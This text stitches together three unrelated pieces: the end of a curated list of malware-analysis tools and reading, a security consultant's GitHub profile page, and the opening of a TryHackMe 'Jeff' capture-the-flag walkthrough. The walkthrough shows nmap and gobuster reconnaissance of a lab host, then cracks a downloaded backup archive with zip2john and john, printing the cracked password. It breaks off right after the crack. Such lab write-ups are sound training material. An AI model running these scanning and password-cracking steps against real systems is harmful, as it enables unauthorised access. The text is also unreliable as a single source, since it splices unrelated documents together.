* [ex_pe_xor](http://hooked-on-mnemonics.blogspot.com/2014/04/expexorpy.html)
& [iheartxor](http://hooked-on-mnemonics.blogspot.com/p/iheartxor.html) -
Two tools from Alexander Hanel for working with single-byte XOR encoded
files.
* [FLOSS](https://github.com/fireeye/flare-floss) - The FireEye Labs Obfuscated
String Solver uses advanced static analysis techniques to automatically
deobfuscate strings from malware binaries.
* [NoMoreXOR](https://github.com/hiddenillusion/NoMoreXOR) - Guess a 256 byte
XOR key using frequency analysis.
* [PackerAttacker](https://github.com/BromiumLabs/PackerAttacker) - A generic
hidden code extractor for Windows malware.
* [PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor) -
A Python script to extract the contents of a PyInstaller generated Windows
executable file. The contents of the pyz file (usually pyc files) present
inside the executable are also extracted and automatically fixed so that a
Python bytecode decompiler will recognize it.
* [uncompyle6](https://github.com/rocky/python-uncompyle6/) - A cross-version
Python bytecode decompiler. Translates Python bytecode back into equivalent
Python source code.
* [un{i}packer](https://github.com/unipacker/unipacker) - Automatic and
platform-independent unpacker for Windows binaries based on emulation.
* [unpacker](https://github.com/malwaremusings/unpacker/) - Automated malware
unpacker for Windows malware based on WinAppDbg.
* [unxor](https://github.com/tomchop/unxor/) - Guess XOR keys using
known-plaintext attacks.
* [VirtualDeobfuscator](https://github.com/jnraber/VirtualDeobfuscator) -
Reverse engineering tool for virtualization wrappers.
* [XORBruteForcer](http://eternal-todo.com/var/scripts/xorbruteforcer) -
A Python script for brute forcing single-byte XOR keys.
* [XORSearch & XORStrings](https://blog.didierstevens.com/programs/xorsearch/) -
A couple programs from Didier Stevens for finding XORed data.
* [xortool](https://github.com/hellman/xortool) - Guess XOR key length, as
well as the key itself.
## Debugging and Reverse Engineering
*Disassemblers, debuggers, and other static and dynamic analysis tools.*
* [angr](https://github.com/angr/angr) - Platform-agnostic binary analysis
framework developed at UCSB's Seclab.
* [bamfdetect](https://github.com/bwall/bamfdetect) - Identifies and extracts
information from bots and other malware.
* [BAP](https://github.com/BinaryAnalysisPlatform/bap) - Multiplatform and
open source (MIT) binary analysis framework developed at CMU's Cylab.
* [BARF](https://github.com/programa-stic/barf-project) - Multiplatform, open
source Binary Analysis and Reverse engineering Framework.
* [binnavi](https://github.com/google/binnavi) - Binary analysis IDE for
reverse engineering based on graph visualization.
* [Binary ninja](https://binary.ninja/) - A reversing engineering platform
that is an alternative to IDA.
* [Binwalk](https://github.com/devttys0/binwalk) - Firmware analysis tool.
* [BluePill](https://github.com/season-lab/bluepill) - Framework for executing and debugging evasive malware and protected executables.
* [Capstone](https://github.com/aquynh/capstone) - Disassembly framework for
binary analysis and reversing, with support for many architectures and
bindings in several languages.
* [codebro](https://github.com/hugsy/codebro) - Web based code browser using
clang to provide basic code analysis.
* [Cutter](https://github.com/radareorg/cutter) - GUI for Radare2.
* [DECAF (Dynamic Executable Code Analysis Framework)](https://github.com/sycurelab/DECAF)
- A binary analysis platform based on QEMU. DroidScope is now an extension to DECAF.
* [dnSpy](https://github.com/0xd4d/dnSpy) - .NET assembly editor, decompiler
and debugger.
* [dotPeek](https://www.jetbrains.com/decompiler/) - Free .NET Decompiler and
Assembly Browser.
* [Evan's Debugger (EDB)](http://codef00.com/projects#debugger) - A
modular debugger with a Qt GUI.
* [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration
and tracing of the Windows kernel.
* [FPort](https://www.mcafee.com/us/downloads/free-tools/fport.aspx) - Reports
open TCP/IP and UDP ports in a live system and maps them to the owning application.
* [GDB](http://www.sourceware.org/gdb/) - The GNU debugger.
* [GEF](https://github.com/hugsy/gef) - GDB Enhanced Features, for exploiters
and reverse engineers.
* [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - A software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate.
* [hackers-grep](https://github.com/codypierce/hackers-grep) - A utility to
search for strings in PE executables including imports, exports, and debug
symbols.
* [Hopper](https://www.hopperapp.com/) - The macOS and Linux Disassembler.
* [IDA Pro](https://www.hex-rays.com/products/ida/index.shtml) - Windows
disassembler and debugger, with a free evaluation version.
* [IDR](https://github.com/crypto2011/IDR) - Interactive Delphi Reconstructor
is a decompiler of Delphi executable files and dynamic libraries.
* [Immunity Debugger](http://debugger.immunityinc.com/) - Debugger for
malware analysis and more, with a Python API.
* [ILSpy](http://ilspy.net/) - ILSpy is the open-source .NET assembly browser and decompiler.
* [Kaitai Struct](http://kaitai.io/) - DSL for file formats / network protocols /
data structures reverse engineering and dissection, with code generation
for C++, C#, Java, JavaScript, Perl, PHP, Python, Ruby.
* [LIEF](https://lief.quarkslab.com/) - LIEF provides a cross-platform library
to parse, modify and abstract ELF, PE and MachO formats.
* [ltrace](http://ltrace.org/) - Dynamic analysis for Linux executables.
* [mac-a-mal](https://github.com/phdphuc/mac-a-mal) - An automated framework
for mac malware hunting.
* [objdump](https://en.wikipedia.org/wiki/Objdump) - Part of GNU binutils,
for static analysis of Linux binaries.
* [OllyDbg](http://www.ollydbg.de/) - An assembly-level debugger for Windows
executables.
* [OllyDumpEx](https://low-priority.appspot.com/ollydumpex/) - Dump memory
from (unpacked) malware Windows process and store raw or rebuild PE file.
This is a plugin for OllyDbg, Immunity Debugger, IDA Pro, WinDbg, and x64dbg.
* [PANDA](https://github.com/moyix/panda) - Platform for Architecture-Neutral
Dynamic Analysis.
* [PEDA](https://github.com/longld/peda) - Python Exploit Development
Assistance for GDB, an enhanced display with added commands.
* [pestudio](https://winitor.com/) - Perform static analysis of Windows
executables.
* [Pharos](https://github.com/cmu-sei/pharos) - The Pharos binary analysis framework
can be used to perform automated static analysis of binaries.
* [plasma](https://github.com/plasma-disassembler/plasma) - Interactive
disassembler for x86/ARM/MIPS.
* [PPEE (puppy)](https://www.mzrst.com/) - A Professional PE file Explorer for
reversers, malware researchers and those who want to statically inspect PE
files in more detail.
* [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer) -
Advanced task manager for Windows.
* [Process Hacker](http://processhacker.sourceforge.net/) - Tool that monitors
system resources.
* [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) -
Advanced monitoring tool for Windows programs.
* [PSTools](https://docs.microsoft.com/en-us/sysinternals/downloads/pstools) - Windows
command-line tools that help manage and investigate live systems.
* [Pyew](https://github.com/joxeankoret/pyew) - Python tool for malware
analysis.
* [PyREBox](https://github.com/Cisco-Talos/pyrebox) - Python scriptable reverse
engineering sandbox by the Talos team at Cisco.
* [QKD](https://github.com/ispras/qemu/releases/) - QEMU with embedded WinDbg
server for stealth debugging.
* [Radare2](http://www.radare.org/r/) - Reverse engineering framework, with
debugger support.
* [RegShot](https://sourceforge.net/projects/regshot/) - Registry compare utility
that compares snapshots.
* [RetDec](https://retdec.com/) - Retargetable machine-code decompiler with an
[online decompilation service](https://retdec.com/decompilation/) and
[API](https://retdec.com/api/) that you can use in your tools.
* [ROPMEMU](https://github.com/Cisco-Talos/ROPMEMU) - A framework to analyze, dissect
and decompile complex code-reuse attacks.
* [Scylla Imports Reconstructor](https://github.com/NtQuery/Scylla) - Find and fix
the IAT of an unpacked / dumped PE32 malware.
* [ScyllaHide](https://github.com/x64dbg/ScyllaHide) - An Anti-Anti-Debug library
and plugin for OllyDbg, x64dbg, IDA Pro, and TitanEngine.
* [SMRT](https://github.com/pidydx/SMRT) - Sublime Malware Research Tool, a
plugin for Sublime 3 to aid with malware analyis.
* [strace](https://sourceforge.net/projects/strace/) - Dynamic analysis for
Linux executables.
* [StringSifter](https://github.com/fireeye/stringsifter) - A machine learning tool
that automatically ranks strings based on their relevance for malware analysis.
* [Triton](https://triton.quarkslab.com/) - A dynamic binary analysis (DBA) framework.
* [Udis86](https://github.com/vmt/udis86) - Disassembler library and tool
for x86 and x86_64.
* [Vivisect](https://github.com/vivisect/vivisect) - Python tool for
malware analysis.
* [WinDbg](https://developer.microsoft.com/en-us/windows/hardware/download-windbg) - multipurpose debugger for the Microsoft Windows computer operating system, used to debug user mode applications, device drivers, and the kernel-mode memory dumps.
* [X64dbg](https://github.com/x64dbg/) - An open-source x64/x32 debugger for windows.
## Network
*Analyze network interactions.*
* [Bro](https://www.bro.org) - Protocol analyzer that operates at incredible
scale; both file and network protocols.
* [BroYara](https://github.com/hempnall/broyara) - Use Yara rules from Bro.
* [CapTipper](https://github.com/omriher/CapTipper) - Malicious HTTP traffic
explorer.
* [chopshop](https://github.com/MITRECND/chopshop) - Protocol analysis and
decoding framework.
* [CloudShark](https://www.cloudshark.org) - Web-based tool for packet analysis
and malware traffic detection.
* [FakeNet-NG](https://github.com/fireeye/flare-fakenet-ng) - Next generation
dynamic network analysis tool.
* [Fiddler](https://www.telerik.com/fiddler) - Intercepting web proxy designed
for "web debugging."
* [Hale](https://github.com/pjlantz/Hale) - Botnet C&C monitor.
* [Haka](http://www.haka-security.org/) - An open source security oriented
language for describing protocols and applying security policies on (live)
captured traffic.
* [HTTPReplay](https://github.com/jbremer/httpreplay) - Library for parsing
and reading out PCAP files, including TLS streams using TLS Master Secrets
(used in Cuckoo Sandbox).
* [INetSim](http://www.inetsim.org/) - Network service emulation, useful when
building a malware lab.
* [Laika BOSS](https://github.com/lmco/laikaboss) - Laika BOSS is a file-centric
malware analysis and intrusion detection system.
* [Malcolm](https://github.com/idaholab/Malcolm) - Malcolm is a powerful, easily
deployable network traffic analysis tool suite for full packet capture artifacts
(PCAP files) and Zeek logs.
* [Malcom](https://github.com/tomchop/malcom) - Malware Communications
Analyzer.
* [Maltrail](https://github.com/stamparm/maltrail) - A malicious traffic
detection system, utilizing publicly available (black)lists containing
malicious and/or generally suspicious trails and featuring an reporting
and analysis interface.
* [mitmproxy](https://mitmproxy.org/) - Intercept network traffic on the fly.
* [Moloch](https://github.com/aol/moloch) - IPv4 traffic capturing, indexing
and database system.
* [NetworkMiner](http://www.netresec.com/?page=NetworkMiner) - Network
forensic analysis tool, with a free version.
* [ngrep](https://github.com/jpr5/ngrep) - Search through network traffic
like grep.
* [PcapViz](https://github.com/mateuszk87/PcapViz) - Network topology and
traffic visualizer.
* [Python ICAP Yara](https://github.com/RamadhanAmizudin/python-icap-yara) - An
ICAP Server with yara scanner for URL or content.
* [Squidmagic](https://github.com/ch3k1/squidmagic) - squidmagic is a tool
designed to analyze a web-based network traffic to detect central command
and control (C&C) servers and malicious sites, using Squid proxy server and
Spamhaus.
* [Tcpdump](http://www.tcpdump.org/) - Collect network traffic.
* [tcpick](http://tcpick.sourceforge.net/) - Trach and reassemble TCP streams
from network traffic.
* [tcpxtract](http://tcpxtract.sourceforge.net/) - Extract files from network
traffic.
* [Wireshark](https://www.wireshark.org/) - The network traffic analysis
tool.
## Memory Forensics
*Tools for dissecting malware in memory images or running systems.*
* [BlackLight](https://www.blackbagtech.com/blacklight.html) - Windows/MacOS
forensics client supporting hiberfil, pagefile, raw memory analysis.
* [DAMM](https://github.com/504ensicsLabs/DAMM) - Differential Analysis of
Malware in Memory, built on Volatility.
* [evolve](https://github.com/JamesHabben/evolve) - Web interface for the
Volatility Memory Forensics Framework.
* [FindAES](https://sourceforge.net/projects/findaes/) - Find AES
encryption keys in memory.
* [inVtero.net](https://github.com/ShaneK2/inVtero.net) - High speed memory
analysis framework developed in .NET supports all Windows x64, includes
code integrity and write support.
* [Muninn](https://github.com/ytisf/muninn) - A script to automate portions
of analysis using Volatility, and create a readable report.
* [Rekall](http://www.rekall-forensic.com/) - Memory analysis framework,
forked from Volatility in 2013.
* [TotalRecall](https://github.com/sketchymoose/TotalRecall) - Script based
on Volatility for automating various malware analysis tasks.
* [VolDiff](https://github.com/aim4r/VolDiff) - Run Volatility on memory
images before and after malware execution, and report changes.
* [Volatility](https://github.com/volatilityfoundation/volatility) - Advanced
memory forensics framework.
* [VolUtility](https://github.com/kevthehermit/VolUtility) - Web Interface for
Volatility Memory Analysis framework.
* [WDBGARK](https://github.com/swwwolf/wdbgark) -
WinDBG Anti-RootKit Extension.
* [WinDbg](https://developer.microsoft.com/en-us/windows/hardware/windows-driver-kit) -
Live memory inspection and kernel debugging for Windows systems.
## Windows Artifacts
* [AChoir](https://github.com/OMENScan/AChoir) - A live incident response
script for gathering Windows artifacts.
* [python-evt](https://github.com/williballenthin/python-evt) - Python
library for parsing Windows Event Logs.
* [python-registry](http://www.williballenthin.com/registry/) - Python
library for parsing registry files.
* [RegRipper](http://brettshavers.cc/index.php/brettsblog/tags/tag/regripper/)
([GitHub](https://github.com/keydet89/RegRipper2.8)) -
Plugin-based registry analysis tool.
## Storage and Workflow
* [Aleph](https://github.com/merces/aleph) - Open Source Malware Analysis
Pipeline System.
* [CRITs](https://crits.github.io/) - Collaborative Research Into Threats, a
malware and threat repository.
* [FAME](https://certsocietegenerale.github.io/fame/) - A malware analysis
framework featuring a pipeline that can be extended with custom modules,
which can be chained and interact with each other to perform end-to-end
analysis.
* [Malwarehouse](https://github.com/sroberts/malwarehouse) - Store, tag, and
search malware.
* [Polichombr](https://github.com/ANSSI-FR/polichombr) - A malware analysis
platform designed to help analysts to reverse malwares collaboratively.
* [stoQ](http://stoq.punchcyber.com) - Distributed content analysis
framework with extensive plugin support, from input to output, and everything
in between.
* [Viper](http://viper.li/) - A binary management and analysis framework for
analysts and researchers.
## Miscellaneous
* [al-khaser](https://github.com/LordNoteworthy/al-khaser) - A PoC malware
with good intentions that aimes to stress anti-malware systems.
* [CryptoKnight](https://github.com/AbertayMachineLearningGroup/CryptoKnight) - Automated cryptographic algorithm reverse engineering and classification framework.
* [DC3-MWCP](https://github.com/Defense-Cyber-Crime-Center/DC3-MWCP) -
The Defense Cyber Crime Center's Malware Configuration Parser framework.
* [FLARE VM](https://github.com/fireeye/flare-vm) - A fully customizable,
Windows-based, security distribution for malware analysis.
* [MalSploitBase](https://github.com/misterch0c/malSploitBase) - A database
containing exploits used by malware.
* [Malware Museum](https://archive.org/details/malwaremuseum) - Collection of
malware programs that were distributed in the 1980s and 1990s.
* [Malware Organiser](https://github.com/uppusaikiran/malware-organiser) - A simple tool to organise large malicious/benign files into a organised Structure.
* [Pafish](https://github.com/a0rtega/pafish) - Paranoid Fish, a demonstration
tool that employs several techniques to detect sandboxes and analysis
environments in the same way as malware families do.
* [REMnux](https://remnux.org/) - Linux distribution and docker images for
malware reverse engineering and analysis.
* [Tsurugi Linux](https://tsurugi-linux.org/) - Linux distribution designed to support your DFIR investigations, malware analysis and OSINT (Open Source INTelligence) activities.
* [Santoku Linux](https://santoku-linux.com/) - Linux distribution for mobile
forensics, malware analysis, and security.
# Resources
## Books
*Essential malware analysis reading material.*
* [Learning Malware Analysis](https://www.packtpub.com/networking-and-servers/learning-malware-analysis) - Learning Malware Analysis: Explore the concepts, tools, and techniques to analuze and investigate Windows malware
* [Malware Analyst's Cookbook and DVD](https://amzn.com/dp/0470613033) -
Tools and Techniques for Fighting Malicious Code.
* [Mastering Malware Analysis](https://www.packtpub.com/networking-and-servers/mastering-malware-analysis) - Mastering Malware Analysis: The complete malware analyst's guide to combating malicious software, APT, cybercime, and IoT attacks
* [Mastering Reverse Engineering](https://www.packtpub.com/networking-and-servers/mastering-reverse-engineering) - Mastering Reverse Engineering: Re-engineer your ethical hacking skills
* [Practical Malware Analysis](https://amzn.com/dp/1593272901) - The Hands-On
Guide to Dissecting Malicious Software.
* [Practical Reverse Engineering](https://www.amzn.com/dp/1118787315/) -
Intermediate Reverse Engineering.
* [Real Digital Forensics](https://www.amzn.com/dp/0321240693) - Computer
Security and Incident Response.
* [Rootkits and Bootkits](https://www.amazon.com/dp/1593277164) - Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats
* [The Art of Memory Forensics](https://amzn.com/dp/1118825098) - Detecting
Malware and Threats in Windows, Linux, and Mac Memory.
* [The IDA Pro Book](https://amzn.com/dp/1593272898) - The Unofficial Guide
to the World's Most Popular Disassembler.
* [The Rootkit Arsenal](https://amzn.com/dp/144962636X) - The Rootkit Arsenal:
Escape and Evasion in the Dark Corners of the System
## Other
* [APT Notes](https://github.com/aptnotes/data) - A collection of papers
and notes related to Advanced Persistent Threats.
* [Ember](https://github.com/endgameinc/ember) - Endgame Malware BEnchmark for Research,
a repository that makes it easy to (re)create a machine learning model that can be used
to predict a score for a PE file based on static analysis.
* [File Formats posters](https://github.com/corkami/pics) - Nice visualization
of commonly used file format (including PE & ELF).
* [Honeynet Project](http://honeynet.org/) - Honeypot tools, papers, and
other resources.
* [Kernel Mode](http://www.kernelmode.info/forum/) - An active community
devoted to malware analysis and kernel development.
* [Malicious Software](https://zeltser.com/malicious-software/) - Malware
blog and resources by Lenny Zeltser.
* [Malware Analysis Search](https://cse.google.com/cse/home?cx=011750002002865445766%3Apc60zx1rliu) -
Custom Google search engine from [Corey Harrell](journeyintoir.blogspot.com/).
* [Malware Analysis Tutorials](http://fumalwareanalysis.blogspot.nl/p/malware-analysis-tutorials-reverse.html) -
The Malware Analysis Tutorials by Dr. Xiang Fu, a great resource for learning
practical malware analysis.
* [Malware Analysis, Threat Intelligence and Reverse Engineering](https://www.slideshare.net/bartblaze/malware-analysis-threat-intelligence-and-reverse-engineering) -
Presentation introducing the concepts of malware analysis, threat intelligence
and reverse engineering. Experience or prior knowledge is not required. Labs
link in description.
* [Malware Persistence](https://github.com/Karneades/malware-persistence) - Collection
of various information focused on malware persistence: detection (techniques),
response, pitfalls and the log collection (tools).
* [Malware Samples and Traffic](http://malware-traffic-analysis.net/) - This
blog focuses on network traffic related to malware infections.
* [Malware Search+++](https://addons.mozilla.org/fr/firefox/addon/malware-search-plusplusplus/) Firefox extension allows
you to easily search some of the most popular malware databases
* [Practical Malware Analysis Starter Kit](https://bluesoul.me/practical-malware-analysis-starter-kit/) -
This package contains most of the software referenced in the Practical Malware
Analysis book.
* [RPISEC Malware Analysis](https://github.com/RPISEC/Malware) - These are the
course materials used in the Malware Analysis course at at Rensselaer Polytechnic
Institute during Fall 2015.
* [WindowsIR: Malware](http://windowsir.blogspot.com/p/malware.html) - Harlan
Carvey's page on Malware.
* [Windows Registry specification](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md) -
Windows registry file format specification.
* [/r/csirt_tools](https://www.reddit.com/r/csirt_tools/) - Subreddit for CSIRT
tools and resources, with a
[malware analysis](https://www.reddit.com/r/csirt_tools/search?q=flair%3A%22Malware%20analysis%22&sort=new&restrict_sr=on) flair.
* [/r/Malware](https://www.reddit.com/r/Malware) - The malware subreddit.
* [/r/ReverseEngineering](https://www.reddit.com/r/ReverseEngineering) -
Reverse engineering subreddit, not limited to just malware.
# Related Awesome Lists
* [Android Security](https://github.com/ashishb/android-security-awesome)
* [AppSec](https://github.com/paragonie/awesome-appsec)
* [CTFs](https://github.com/apsdehal/awesome-ctf)
* [Forensics](https://github.com/Cugu/awesome-forensics)
* ["Hacking"](https://github.com/carpedm20/awesome-hacking)
* [Honeypots](https://github.com/paralax/awesome-honeypots)
* [Industrial Control System Security](https://github.com/hslatman/awesome-industrial-control-system-security)
* [Incident-Response](https://github.com/meirwah/awesome-incident-response)
* [Infosec](https://github.com/onlurking/awesome-infosec)
* [PCAP Tools](https://github.com/caesar0301/awesome-pcaptools)
* [Pentesting](https://github.com/enaqx/awesome-pentest)
* [Security](https://github.com/sbilly/awesome-security)
* [Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence)
* [YARA](https://github.com/InQuest/awesome-yara)
# [Contributing](CONTRIBUTING.md)
Pull requests and issues with suggestions are welcome! Please read the
[CONTRIBUTING](CONTRIBUTING.md) guidelines before submitting a PR.
# Thanks
This list was made possible by:
* Lenny Zeltser and other contributors for developing REMnux, where I
found many of the tools in this list;
* Michail Hale Ligh, Steven Adair, Blake Hartstein, and Mather Richard for
writing the *Malware Analyst's Cookbook*, which was a big inspiration for
creating the list;
* And everyone else who has sent pull requests or suggested links to add here!
Thanks!
|
<p align="center">
<img src="https://user-images.githubusercontent.com/63926014/209046028-a851de73-fcf5-4cf3-a7bd-297148f5d986.png">
Hey, I'm E.T. I'm a cybersecurity consultant with experience & interests in security compliance, cloud security, and penetration testing. <br>
<img src="https://user-images.githubusercontent.com/63926014/235801128-0e5d0e65-f8d7-459a-a873-10366cf6d72d.svg"> <br>
<a href="https://app.hackthebox.com/profile/339226"> <img src="https://www.hackthebox.com/badge/image/339226"></a>
</p>
<h2>🔗 Links</h2>
- https://ethantroy.com/ - Personal Blog <br>
- https://hacks.ethantroy.com/ - Anything hacking realted, Hack The Box, Try Hack Me, Security Related Blogs <br>
- https://medium.com/@ethanolivertroy - My medium page; a mix of cybersecurity and fitness/nutrition <br>
- https://www.youtube.com/@ethanolivertroy - Youtube Channel <br>
- https://mycyberdictionary.com/ - Just like it sounds, I dumped my cyber brain out to the public
<h2>🧪 Projects</h2>
<p align="center">
<img src="https://github.com/ethanolivertroy/ethanolivertroy/assets/63926014/6c83ab15-4870-4755-9239-1d57d6c8745e" width="500">
<br>
<span style="display:block">
<a href="https://github.com/ethanolivertroy/nessus-vuln-management-lab/wiki">Tenable Nessus Vulnerability Management Lab</a>
</span>
</p>
<p align="center">
<img src="https://github.com/ethanolivertroy/ethanolivertroy/assets/63926014/06f817e7-fd56-4902-a80f-2a1dfe9a2db6" width="500">
<br>
<span style="display:block">
<a href="https://github.com/ethanolivertroy/nmap-GPT">NMAP-GPT</a>
</span>
</p>
<p align="center">
<a href="https://youtu.be/2cChiGcnnUs">
<img src="https://github.com/ethanolivertroy/ethanolivertroy/assets/63926014/8b907a46-3097-4acc-a18c-f0f1355aa70d" width="500">
</a>
<br>
<span style="display:block"><a href="https://youtu.be/2cChiGcnnUs">flAWS.cloud Cloud Security Misconfigurations Walkthrough 2023</a></span>
</p>
<h2>🛠️ What I'm Currently Working On</h2>
<p align="center">
<a href="https://mycyberdictionary.com/">
<img src="https://github.com/ethanolivertroy/ethanolivertroy/assets/63926014/2084a3c6-97f7-425c-8e70-4ef3a13782e5" width="700">
<br>
<span style="display:block">My Cyber Dictionary</span>
</a>
</p>
<p align="center">
<a href="https://learntocloud.guide/">
<img src="https://github.com/ethanolivertroy/ethanolivertroy/assets/63926014/eb162562-d581-40c1-937b-907833530fe0" width="700">
<br>
<span style="display:block">Learn to Cloud Guide: Cloud Security Projects</span>
</a>
</p>
|
# Jeff
Can you hack Jeff's web server?
- [Jeff](https://tryhackme.com/room/jeff)
## Appendix archive
Password: `1 kn0w 1 5h0uldn'7!`
## Task 1 Get Root
This machine may take upto 5 minutes to fully deploy.
Get user.txt and root.txt.
This is my first ever box, I hope you enjoy it. If you find yourself brute forcing SSH, you're doing it wrong.
Please don't post spoilers or stream the box for at least a couple of days.
```
kali@kali:~/CTFs/tryhackme/Jeff$ sudo nmap -A -sS -sC -sV -Pn -O 10.10.8.137
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-17 13:12 CEST
Nmap scan report for 10.10.8.137
Host is up (0.035s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
| 256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_ 256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Infomir MAG-250 set-top box (86%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 35.69 ms 10.8.0.1
2 35.54 ms 10.10.8.137
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ gobuster dir -u http://jeff.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/17 13:14:30 Starting gobuster
===============================================================
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/index.html (Status: 200)
/uploads (Status: 301)
===============================================================
2020/10/17 13:14:47 Finished
===============================================================
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ gobuster dir -u http://jeff.thm/admin/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/admin/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: zip,bak,old,php
[+] Timeout: 10s
===============================================================
2020/10/17 13:14:42 Starting gobuster
===============================================================
/index.html (Status: 200)
/login.php (Status: 200)
===============================================================
2020/10/17 13:16:07 Finished
===============================================================
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ gobuster dir -u http://jeff.thm/backups/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/backups/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: zip,bak,old,php
[+] Timeout: 10s
===============================================================
2020/10/17 13:18:02 Starting gobuster
===============================================================
/backup.zip (Status: 200)
/index.html (Status: 200)
Progress: 2317 / 4615 (50.21%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/10/17 13:18:56 Finished
===============================================================
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ zipinfo backup.zip
Archive: backup.zip
Zip file size: 62753 bytes, number of entries: 9
drwxrwx--- 3.0 unx 0 bx stor 20-May-14 17:20 backup/
drwxrwx--- 3.0 unx 0 bx stor 20-May-14 17:20 backup/assets/
-rwxrwx--- 3.0 unx 34858 TX defN 20-May-14 17:20 backup/assets/EnlighterJS.min.css
-rwxrwx--- 3.0 unx 49963 TX defN 20-May-14 17:20 backup/assets/EnlighterJS.min.js
-rwxrwx--- 3.0 unx 89614 TX defN 20-May-14 17:20 backup/assets/MooTools-Core-1.6.0-compressed.js
-rwxrwx--- 3.0 unx 11524 BX defN 20-May-14 17:20 backup/assets/profile.jpg
-rwxrwx--- 3.0 unx 1439 TX defN 20-May-14 17:20 backup/assets/style.css
-rwxrwx--- 3.0 unx 1178 TX defN 20-May-14 17:20 backup/index.html
-rwxrwx--- 3.0 unx 41 TX stor 20-May-14 17:20 backup/wpadmin.bak
9 files, 188617 bytes uncompressed, 60951 bytes compressed: 67.7%
kali@kali:~/CTFs/tryhackme/Jeff$ zip2john backup.zip > backup.hash
backup.zip/backup/ is not encrypted!
backup.zip/backup/assets/ is not encrypted!
ver 1.0 backup.zip/backup/ is not encrypted, or stored with non-handled compression type
ver 1.0 backup.zip/backup/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/backup/assets/EnlighterJS.min.css PKZIP Encr: 2b chk, TS_chk, cmplen=6483, decmplen=34858, crc=541FD3B0
ver 2.0 efh 5455 efh 7875 backup.zip/backup/assets/EnlighterJS.min.js PKZIP Encr: 2b chk, TS_chk, cmplen=14499, decmplen=49963, crc=545D786A
ver 2.0 efh 5455 efh 7875 backup.zip/backup/assets/MooTools-Core-1.6.0-compressed.js PKZIP Encr: 2b chk, TS_chk, cmplen=27902, decmplen=89614, crc=43D2FC37
ver 2.0 efh 5455 efh 7875 backup.zip/backup/assets/profile.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=10771, decmplen=11524, crc=F052E57A
ver 2.0 efh 5455 efh 7875 backup.zip/backup/assets/style.css PKZIP Encr: 2b chk, TS_chk, cmplen=675, decmplen=1439, crc=9BA0C7C1
ver 2.0 efh 5455 efh 7875 backup.zip/backup/index.html PKZIP Encr: 2b chk, TS_chk, cmplen=652, decmplen=1178, crc=39D2DBFF
ver 1.0 efh 5455 efh 7875 backup.zip/backup/wpadmin.bak PKZIP Encr: 2b chk, TS_chk, cmplen=53, decmplen=41, crc=FAECFEFB
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
kali@kali:~/CTFs/tryhackme/Jeff$ john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!!Burningbird!! (backup.zip)
1g 0:00:00:04 DONE (2020-10-17 13:21) 0.2036g/s 2920Kp/s 2920Kc/s 2920KC/s !!rebound!!..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
```
